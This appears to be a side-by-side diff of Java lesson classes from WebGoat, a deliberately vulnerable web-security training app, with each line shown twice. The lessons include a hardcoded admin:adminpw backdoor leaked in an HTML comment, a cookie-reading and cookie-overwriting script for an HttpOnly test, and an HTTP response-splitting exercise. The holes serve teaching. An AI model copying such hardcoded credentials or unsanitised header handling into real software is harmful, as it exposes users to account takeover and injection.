public class HowToWork extends LessonAdapter public class HowToWork extends LessonAdapter
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
makeSuccess(s); makeSuccess(s);
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new StringElement("Welcome to WebGoat !!")); ec.addElement(new StringElement("Welcome to WebGoat !!"));
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the HowToWork object * Gets the category attribute of the HowToWork object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.INTRODUCTION; return Category.INTRODUCTION;
} }
private final static Integer DEFAULT_RANKING = new Integer(10); private final static Integer DEFAULT_RANKING = new Integer(10);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the DirectoryScreen object * Gets the title attribute of the DirectoryScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("How to work with WebGoat"); return ("How to work with WebGoat");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement(""));
} }
} }

View File

@ -54,188 +54,188 @@ import org.owasp.webgoat.util.WebGoatI18N;
*/ */
public class HtmlClues extends LessonAdapter public class HtmlClues extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String PASSWORD = "Password"; protected final static String PASSWORD = "Password";
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
private boolean backdoor(WebSession s) private boolean backdoor(WebSession s)
{ {
String username = s.getParser().getRawParameter(USERNAME, ""); String username = s.getParser().getRawParameter(USERNAME, "");
String password = s.getParser().getRawParameter(PASSWORD, ""); String password = s.getParser().getRawParameter(PASSWORD, "");
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
return (username.equals("admin") && password.equals("adminpw")); return (username.equals("admin") && password.equals("adminpw"));
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
// <START_OMIT_SOURCE> // <START_OMIT_SOURCE>
ec.addElement(new Comment("FIXME admin:adminpw")); ec.addElement(new Comment("FIXME admin:adminpw"));
// <END_OMIT_SOURCE> // <END_OMIT_SOURCE>
ec.addElement(new Comment("Use Admin to regenerate database")); ec.addElement(new Comment("Use Admin to regenerate database"));
if (backdoor(s)) if (backdoor(s))
{ {
makeSuccess(s); makeSuccess(s);
s.setMessage(WebGoatI18N.get("HtmlCluesBINGO")); s.setMessage(WebGoatI18N.get("HtmlCluesBINGO"));
ec.addElement(makeUser(s, "admin", "CREDENTIALS")); ec.addElement(makeUser(s, "admin", "CREDENTIALS"));
} }
else else
{ {
ec.addElement(makeLogin(s)); ec.addElement(makeLogin(s));
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
} }
return (ec); return (ec);
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @param user * @param user
* Description of the Parameter * Description of the Parameter
* @param method * @param method
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
* @exception Exception * @exception Exception
* Description of the Exception * Description of the Exception
*/ */
protected Element makeUser(WebSession s, String user, String method) throws Exception protected Element makeUser(WebSession s, String user, String method) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new P().addElement(WebGoatI18N.get("WelcomeUser")+ user)); ec.addElement(new P().addElement(WebGoatI18N.get("WelcomeUser")+ user));
ec.addElement(new P().addElement(WebGoatI18N.get("YouHaveBeenAuthenticatedWith") + method)); ec.addElement(new P().addElement(WebGoatI18N.get("YouHaveBeenAuthenticatedWith") + method));
return (ec); return (ec);
} }
protected Element makeLogin(WebSession s) protected Element makeLogin(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec.addElement(new H1().addElement("Sign In ")); ec.addElement(new H1().addElement("Sign In "));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center");
if (s.isColor()) if (s.isColor())
{ {
t.setBorder(1); t.setBorder(1);
} }
TR tr = new TR(); TR tr = new TR();
tr.addElement(new TH() tr.addElement(new TH()
.addElement(WebGoatI18N.get("WeakAuthenticationCookiePleaseSignIn")) .addElement(WebGoatI18N.get("WeakAuthenticationCookiePleaseSignIn"))
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("*"+WebGoatI18N.get("RequiredFields")).setWidth("30%")); tr.addElement(new TD().addElement("*"+WebGoatI18N.get("RequiredFields")).setWidth("30%"));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD().addElement("&nbsp;").setColSpan(2)); tr.addElement(new TD().addElement("&nbsp;").setColSpan(2));
t.addElement(tr); t.addElement(tr);
TR row1 = new TR(); TR row1 = new TR();
TR row2 = new TR(); TR row2 = new TR();
row1.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("UserName")+": ")))); row1.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("UserName")+": "))));
row2.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("Password")+": ")))); row2.addElement(new TD(new B(new StringElement("*"+WebGoatI18N.get("Password")+": "))));
Input input1 = new Input(Input.TEXT, USERNAME, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
row1.addElement(new TD(input1)); row1.addElement(new TD(input1));
row2.addElement(new TD(input2)); row2.addElement(new TD(input2));
t.addElement(row1); t.addElement(row1);
t.addElement(row2); t.addElement(row2);
Element b = ECSFactory.makeButton(WebGoatI18N.get("Login")); Element b = ECSFactory.makeButton(WebGoatI18N.get("Login"));
t.addElement(new TR(new TD(b))); t.addElement(new TR(new TD(b)));
ec.addElement(t); ec.addElement(t);
return (ec); return (ec);
} }
/** /**
* Gets the hints attribute of the CluesScreen object * Gets the hints attribute of the CluesScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add(WebGoatI18N.get("HtmlCluesHint1")); hints.add(WebGoatI18N.get("HtmlCluesHint1"));
hints.add(WebGoatI18N.get("HtmlCluesHint2")); hints.add(WebGoatI18N.get("HtmlCluesHint2"));
hints.add(WebGoatI18N.get("HtmlCluesHint3")); hints.add(WebGoatI18N.get("HtmlCluesHint3"));
return hints; return hints;
} }
private final static Integer DEFAULT_RANKING = new Integer(30); private final static Integer DEFAULT_RANKING = new Integer(30);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the category attribute of the FailOpenAuthentication object * Gets the category attribute of the FailOpenAuthentication object
* *
* @return The category value * @return The category value
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.CODE_QUALITY; return Category.CODE_QUALITY;
} }
/** /**
* Gets the title attribute of the CluesScreen object * Gets the title attribute of the CluesScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("Discover Clues in the HTML"); return ("Discover Clues in the HTML");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -60,7 +60,7 @@ public class HttpBasics extends LessonAdapter {
StringBuffer person = null; StringBuffer person = null;
try { try {
ec.addElement(new BR()); ec.addElement(new BR());
ec.addElement(new StringElement(WebGoatI18N.get("EnterYourName") + ": ")); ec.addElement(new StringElement(WebGoatI18N.get("EnterYourName") + ": "));
person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
@ -92,7 +92,7 @@ public class HttpBasics extends LessonAdapter {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Type in your name and press 'go'"); hints.add("Type in your name and press 'go'");
hints.add("Turn on Show Parameters or other features"); hints.add("Turn on Show Parameters or other features");
hints.add("Try to intercept the request with WebScarab"); hints.add("Try to intercept the request with OWASP ZAP");
hints.add("Press the Show Lesson Plan button to view a lesson summary"); hints.add("Press the Show Lesson Plan button to view a lesson summary");
hints.add("Press the Show Solution button to view a lesson solution"); hints.add("Press the Show Solution button to view a lesson solution");

View File

@ -50,467 +50,467 @@ import sun.misc.BASE64Encoder;
public class HttpOnly extends LessonAdapter public class HttpOnly extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement( .addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0)); .setVspace(0));
private final static Integer DEFAULT_RANKING = new Integer(125); private final static Integer DEFAULT_RANKING = new Integer(125);
private final static String UNIQUE2U = "unique2u"; private final static String UNIQUE2U = "unique2u";
private final static String HTTPONLY = "httponly"; private final static String HTTPONLY = "httponly";
private final static String ACTION = "action"; private final static String ACTION = "action";
private final static String READ = "Read Cookie"; private final static String READ = "Read Cookie";
private final static String WRITE = "Write Cookie"; private final static String WRITE = "Write Cookie";
private final static String READ_RESULT = "read_result"; private final static String READ_RESULT = "read_result";
private boolean httpOnly = false; private boolean httpOnly = false;
private boolean readSuccess = false; private boolean readSuccess = false;
private boolean writeSuccess = false; private boolean writeSuccess = false;
private String original = "undefined"; private String original = "undefined";
/** /**
* Gets the title attribute of the EmailScreen object * Gets the title attribute of the EmailScreen object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return ("HTTPOnly Test"); return ("HTTPOnly Test");
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String action = null; String action = null;
String http = null; String http = null;
http = s.getRequest().getParameter(HTTPONLY); http = s.getRequest().getParameter(HTTPONLY);
action = s.getRequest().getParameter(ACTION); action = s.getRequest().getParameter(ACTION);
if (http != null) if (http != null)
{ {
httpOnly = Boolean.parseBoolean(http); httpOnly = Boolean.parseBoolean(http);
} }
if (httpOnly) if (httpOnly)
{ {
// System.out.println("HttpOnly: Setting HttpOnly for cookie"); // System.out.println("HttpOnly: Setting HttpOnly for cookie");
setHttpOnly(s); setHttpOnly(s);
} }
else else
{ {
// System.out.println("HttpOnly: Removing HttpOnly for cookie"); // System.out.println("HttpOnly: Removing HttpOnly for cookie");
removeHttpOnly(s); removeHttpOnly(s);
} }
if (action != null) if (action != null)
{ {
if (action.equals(READ)) if (action.equals(READ))
{ {
handleReadAction(s); handleReadAction(s);
} }
else if (action.equals(WRITE)) else if (action.equals(WRITE))
{ {
handleWriteAction(s); handleWriteAction(s);
} }
else else
{ {
// s.setMessage("Invalid Request. Please try again."); // s.setMessage("Invalid Request. Please try again.");
} }
} }
try try
{ {
ec.addElement(makeContent(s)); ec.addElement(makeContent(s));
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error generating " + this.getClass().getName()); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); e.printStackTrace();
} }
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
* @return DOCUMENT ME! * @return DOCUMENT ME!
*/ */
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.XSS; return Category.XSS;
} }
/** /**
* Gets the hints attribute of the EmailScreen object * Gets the hints attribute of the EmailScreen object
* *
* @return The hints value * @return The hints value
*/ */
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Read the directions and try out the buttons."); hints.add("Read the directions and try out the buttons.");
return hints; return hints;
} }
private String createCustomCookieValue() private String createCustomCookieValue()
{ {
String value = null; String value = null;
byte[] buffer = null; byte[] buffer = null;
MessageDigest md = null; MessageDigest md = null;
BASE64Encoder encoder = new BASE64Encoder(); BASE64Encoder encoder = new BASE64Encoder();
try try
{ {
md = MessageDigest.getInstance("SHA"); md = MessageDigest.getInstance("SHA");
buffer = new Date().toString().getBytes(); buffer = new Date().toString().getBytes();
md.update(buffer); md.update(buffer);
value = encoder.encode(md.digest()); value = encoder.encode(md.digest());
original = value; original = value;
} catch (Exception e) } catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
return value; return value;
} }
private void setHttpOnly(WebSession s) private void setHttpOnly(WebSession s)
{ {
String value = createCustomCookieValue(); String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse(); HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U); String cookie = s.getCookie(UNIQUE2U);
if (cookie == null || cookie.equals("HACKED")) if (cookie == null || cookie.equals("HACKED"))
{ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + "; HttpOnly");
original = value; original = value;
} }
else else
{ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + "; HttpOnly");
original = cookie; original = cookie;
} }
} }
private void removeHttpOnly(WebSession s) private void removeHttpOnly(WebSession s)
{ {
String value = createCustomCookieValue(); String value = createCustomCookieValue();
HttpServletResponse response = s.getResponse(); HttpServletResponse response = s.getResponse();
String cookie = s.getCookie(UNIQUE2U); String cookie = s.getCookie(UNIQUE2U);
if (cookie == null || cookie.equals("HACKED")) if (cookie == null || cookie.equals("HACKED"))
{ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + value + ";");
original = value; original = value;
} }
else else
{ {
response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";"); response.setHeader("Set-Cookie", UNIQUE2U + "=" + cookie + ";");
original = cookie; original = cookie;
} }
} }
private ElementContainer makeContent(WebSession s) private ElementContainer makeContent(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
Element r = null; Element r = null;
Table t = null; Table t = null;
TR tr = null; TR tr = null;
Form f = null; Form f = null;
ec.addElement(new StringElement(getJavaScript())); ec.addElement(new StringElement(getJavaScript()));
f = new Form(); f = new Form();
t = new Table(); t = new Table();
t.setWidth(500); t.setWidth(500);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s)))); tr.addElement(new TD(new StringElement("Your browser appears to be: " + getBrowserType(s))));
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
t.addElement(tr); t.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?"))); tr.addElement(new TD(new StringElement("Do you wish to turn HTTPOnly on?")));
tr.addElement(new TD(new StringElement("Yes"))); tr.addElement(new TD(new StringElement("Yes")));
if (httpOnly == true) if (httpOnly == true)
{ {
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true"); r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("Checked", "true");
} }
else else
{ {
r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()"); r = new Input(Input.RADIO, HTTPONLY, "True").addAttribute("onClick", "document.form.submit()");
} }
tr.addElement(new TD(r)); tr.addElement(new TD(r));
tr.addElement(new TD(new StringElement("No"))); tr.addElement(new TD(new StringElement("No")));
if (httpOnly == false) if (httpOnly == false)
{ {
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True"); r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("Checked", "True");
} }
else else
{ {
r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()"); r = new Input(Input.RADIO, HTTPONLY, "False").addAttribute("onClick", "document.form.submit()");
} }
tr.addElement(new TD(r)); tr.addElement(new TD(r));
r = new Input(Input.HIDDEN, READ_RESULT, ""); r = new Input(Input.HIDDEN, READ_RESULT, "");
tr.addElement(r); tr.addElement(r);
t.addElement(tr); t.addElement(tr);
/* /*
* tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); t.addElement(tr); * tr.addElement(new TD(new StringElement("<strong>Status:</strong> " ))); t.addElement(tr);
* if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div * if(httpOnly == true) { tr.addElement(new TD(new StringElement("<div
* id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div * id=\"status\">On</div>"))); } else { tr.addElement(new TD(new StringElement ("<div
* id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new * id=\"status\">Off</div>"))); } t.addElement(tr); t.addElement(new TR(new TD(new
* StringElement("<br/>")))); * StringElement("<br/>"))));
*/f.addElement(t); */f.addElement(t);
t = new Table(); t = new Table();
tr = new TR(); tr = new TR();
r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();"); r = new Input(Input.SUBMIT, ACTION, READ).addAttribute("onclick", "myAlert();");
tr.addElement(new TD(r)); tr.addElement(new TD(r));
r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();"); r = new Input(Input.SUBMIT, ACTION, WRITE).addAttribute("onclick", "modifyAlert();");
tr.addElement(new TD(r)); tr.addElement(new TD(r));
t.addElement(tr); t.addElement(tr);
f.addElement(t); f.addElement(t);
ec.addElement(f); ec.addElement(f);
return ec; return ec;
} }
private void handleReadAction(WebSession s) private void handleReadAction(WebSession s)
{ {
String displayed = s.getRequest().getParameter(READ_RESULT); String displayed = s.getRequest().getParameter(READ_RESULT);
if (httpOnly == true) if (httpOnly == true)
{ {
if (displayed.indexOf(UNIQUE2U) != -1) if (displayed.indexOf(UNIQUE2U) != -1)
{ {
s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U s.setMessage("FAILURE: Your browser did not enforce the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie. It allowed direct client side read access to this cookie."); + "' cookie. It allowed direct client side read access to this cookie.");
} }
else else
{ {
s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U s.setMessage("SUCCESS: Your browser enforced the HTTPOnly flag properly for the '" + UNIQUE2U
+ "' cookie by preventing direct client side read access to this cookie."); + "' cookie by preventing direct client side read access to this cookie.");
if (writeSuccess) if (writeSuccess)
{ {
if (!this.isCompleted(s)) if (!this.isCompleted(s))
{ {
makeSuccess(s); makeSuccess(s);
readSuccess = false; readSuccess = false;
writeSuccess = false; writeSuccess = false;
} }
} }
else else
{ {
if (!this.isCompleted(s)) if (!this.isCompleted(s))
{ {
s.setMessage("Now try to see if your browser protects write access to this cookie."); s.setMessage("Now try to see if your browser protects write access to this cookie.");
readSuccess = true; readSuccess = true;
} }
} }
} }
} }
else if (displayed.indexOf(UNIQUE2U) != -1) else if (displayed.indexOf(UNIQUE2U) != -1)
{ {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie was displayed in the alert dialog."); + "' cookie was displayed in the alert dialog.");
} }
else else
{ {
s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the '" + UNIQUE2U
+ "' cookie should have been displayed in the alert dialog, but was not for some reason. " + "' cookie should have been displayed in the alert dialog, but was not for some reason. "
+ "(This shouldn't happen)"); + "(This shouldn't happen)");
} }
} }
private void handleWriteAction(WebSession s) private void handleWriteAction(WebSession s)
{ {
String hacked = s.getCookie(UNIQUE2U); String hacked = s.getCookie(UNIQUE2U);
if (httpOnly == true) if (httpOnly == true)
{ {
if (!original.equals(hacked)) if (!original.equals(hacked))
{ {
s s
.setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '" .setMessage("FAILURE: Your browser did not enforce the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie."); + UNIQUE2U + "' cookie.");
s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked s.setMessage("The " + UNIQUE2U + " cookie was successfully modified to " + hacked
+ " on the client side."); + " on the client side.");
} }
else else
{ {
s s
.setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '" .setMessage("SUCCESS: Your browser enforced the write protection property of the HTTPOnly flag for the '"
+ UNIQUE2U + "' cookie by preventing client side modification."); + UNIQUE2U + "' cookie by preventing client side modification.");
if (readSuccess) if (readSuccess)
{ {
if (!this.isCompleted(s)) if (!this.isCompleted(s))
{ {
makeSuccess(s); makeSuccess(s);
readSuccess = false; readSuccess = false;
writeSuccess = false; writeSuccess = false;
} }
} }
else else
{ {
if (!this.isCompleted(s)) if (!this.isCompleted(s))
{ {
s.setMessage("Now try to see if your browser protects read access to this cookie."); s.setMessage("Now try to see if your browser protects read access to this cookie.");
writeSuccess = true; writeSuccess = true;
} }
} }
} }
} }
else if (!original.equals(hacked)) else if (!original.equals(hacked))
{ {
s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the browser allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side."); + "' cookie to be modified on the client side.");
} }
else else
{ {
s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U s.setMessage("Since HTTPOnly was not enabled, the browser should have allowed the '" + UNIQUE2U
+ "' cookie to be modified on the client side, but it was not for some reason. " + "' cookie to be modified on the client side, but it was not for some reason. "
+ "(This shouldn't happen)"); + "(This shouldn't happen)");
} }
} }
private String getJavaScript() private String getJavaScript()
{ {
StringBuffer buffer = new StringBuffer(); StringBuffer buffer = new StringBuffer();
buffer.append("<script language=\"javascript\">\n"); buffer.append("<script language=\"javascript\">\n");
buffer.append("function myAlert() {\n"); buffer.append("function myAlert() {\n");
buffer.append("alert(document.cookie);\n"); buffer.append("alert(document.cookie);\n");
buffer.append("document.form.read_result.value=document.cookie;\n"); buffer.append("document.form.read_result.value=document.cookie;\n");
buffer.append("return true;\n"); buffer.append("return true;\n");
buffer.append("}\n"); buffer.append("}\n");
buffer.append("function modifyAlert() {\n"); buffer.append("function modifyAlert() {\n");
buffer.append("document.cookie='" + UNIQUE2U + "=HACKED;\';\n"); buffer.append("document.cookie='" + UNIQUE2U + "=HACKED;\';\n");
buffer.append("alert(document.cookie);\n"); buffer.append("alert(document.cookie);\n");
buffer.append("return true;\n"); buffer.append("return true;\n");
buffer.append("}\n"); buffer.append("}\n");
buffer.append("</script>\n"); buffer.append("</script>\n");
return buffer.toString(); return buffer.toString();
} }
private String getBrowserType(WebSession s) private String getBrowserType(WebSession s)
{ {
int offset = -1; int offset = -1;
String result = "unknown"; String result = "unknown";
String browser = s.getHeader("user-agent").toLowerCase(); String browser = s.getHeader("user-agent").toLowerCase();
if (browser != null) if (browser != null)
{ {
if (browser.indexOf("firefox") != -1) if (browser.indexOf("firefox") != -1)
{ {
browser = browser.substring(browser.indexOf("firefox")); browser = browser.substring(browser.indexOf("firefox"));
offset = getOffset(browser); offset = getOffset(browser);
result = browser.substring(0, offset); result = browser.substring(0, offset);
} }
else if (browser.indexOf("msie 6") != -1) else if (browser.indexOf("msie 6") != -1)
{ {
result = "Internet Explorer 6"; result = "Internet Explorer 6";
} }
else if (browser.indexOf("msie 7") != -1) else if (browser.indexOf("msie 7") != -1)
{ {
result = "Internet Explorer 7"; result = "Internet Explorer 7";
} }
else if (browser.indexOf("msie") != -1) else if (browser.indexOf("msie") != -1)
{ {
result = "Internet Explorer"; result = "Internet Explorer";
} }
else if (browser.indexOf("opera") != -1) else if (browser.indexOf("opera") != -1)
{ {
result = "Opera"; result = "Opera";
} }
else if (browser.indexOf("safari") != -1) else if (browser.indexOf("safari") != -1)
{ {
result = "Safari"; result = "Safari";
} }
else if (browser.indexOf("netscape") != -1) else if (browser.indexOf("netscape") != -1)
{ {
browser = browser.substring(browser.indexOf("netscape")); browser = browser.substring(browser.indexOf("netscape"));
offset = getOffset(browser); offset = getOffset(browser);
result = browser.substring(0, offset); result = browser.substring(0, offset);
} }
else if (browser.indexOf("konqueror") != -1) else if (browser.indexOf("konqueror") != -1)
{ {
result = "Konqueror"; result = "Konqueror";
} }
else if (browser.indexOf("mozilla") != -1) else if (browser.indexOf("mozilla") != -1)
{ {
result = "Mozilla"; result = "Mozilla";
} }
} }
return result; return result;
} }
private int getOffset(String s) private int getOffset(String s)
{ {
int result = s.length(); int result = s.length();
for (int i = 0; i < s.length(); i++) for (int i = 0; i < s.length(); i++)
{ {
if (s.charAt(i) < 33 || s.charAt(i) > 126) if (s.charAt(i) < 33 || s.charAt(i) > 126)
{ {
result = i; result = i;
break; break;
} }
} }
return result; return result;
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -46,213 +46,207 @@ import org.owasp.webgoat.session.WebSession;
public class HttpSplitting extends SequentialLessonAdapter public class HttpSplitting extends SequentialLessonAdapter
{ {
private final static String LANGUAGE = "language"; private final static String LANGUAGE = "language";
private final static String REDIRECT = "fromRedirect"; private final static String REDIRECT = "fromRedirect";
private static String STAGE = "stage"; private static String STAGE = "stage";
public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0)); public final static A MAC_LOGO = new A().setHref("http://www.softwaresecured.com").addElement(new IMG("images/logos/softwaresecured.gif").setAlt("Software Secured").setBorder(0).setHspace(0).setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s * @param s
* Current WebSession * Current WebSession
*/ */
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
// Setting a special action to be able to submit to redirect.jsp // Setting a special action to be able to submit to redirect.jsp
Form form = new Form(s.getRequest().getContextPath() + "/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId()) Form form = new Form(s.getRequest().getContextPath() + "/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId())
+ "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType(""); + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType("");
form.addElement(createContent(s)); form.addElement(createContent(s));
setContent(form); setContent(form);
} }
protected Element doHTTPSplitting(WebSession s) protected Element doHTTPSplitting(WebSession s)
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
String lang = null; String lang = null;
try try
{ {
ec.addElement(createAttackEnvironment(s)); ec.addElement(createAttackEnvironment(s));
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8"); lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
// Check if we are coming from the redirect page // Check if we are coming from the redirect page
String fromRedirect = s.getParser().getStringParameter("fromRedirect", ""); String fromRedirect = s.getParser().getStringParameter("fromRedirect", "");
if (lang.length() != 0 && fromRedirect.length() != 0) if (lang.length() != 0 && fromRedirect.length() != 0)
{ {
String[] arrTokens = lang.toString().toUpperCase().split("\r\n"); String[] arrTokens = lang.toString().toUpperCase().split("\r\n");
// Check if the user ended the first request and wrote the second malicious reply // Check if the user ended the first request and wrote the second malicious reply
if (arrTokens.length > 1) if (arrTokens.length > 1)
{ {
HttpServletResponse res = s.getResponse(); HttpServletResponse res = s.getResponse();
res.setContentType("text/html"); res.setContentType("text/html");
StringBuffer msg = new StringBuffer(); StringBuffer msg = new StringBuffer();
msg.append("Good Job! "); msg.append("Good Job! ");
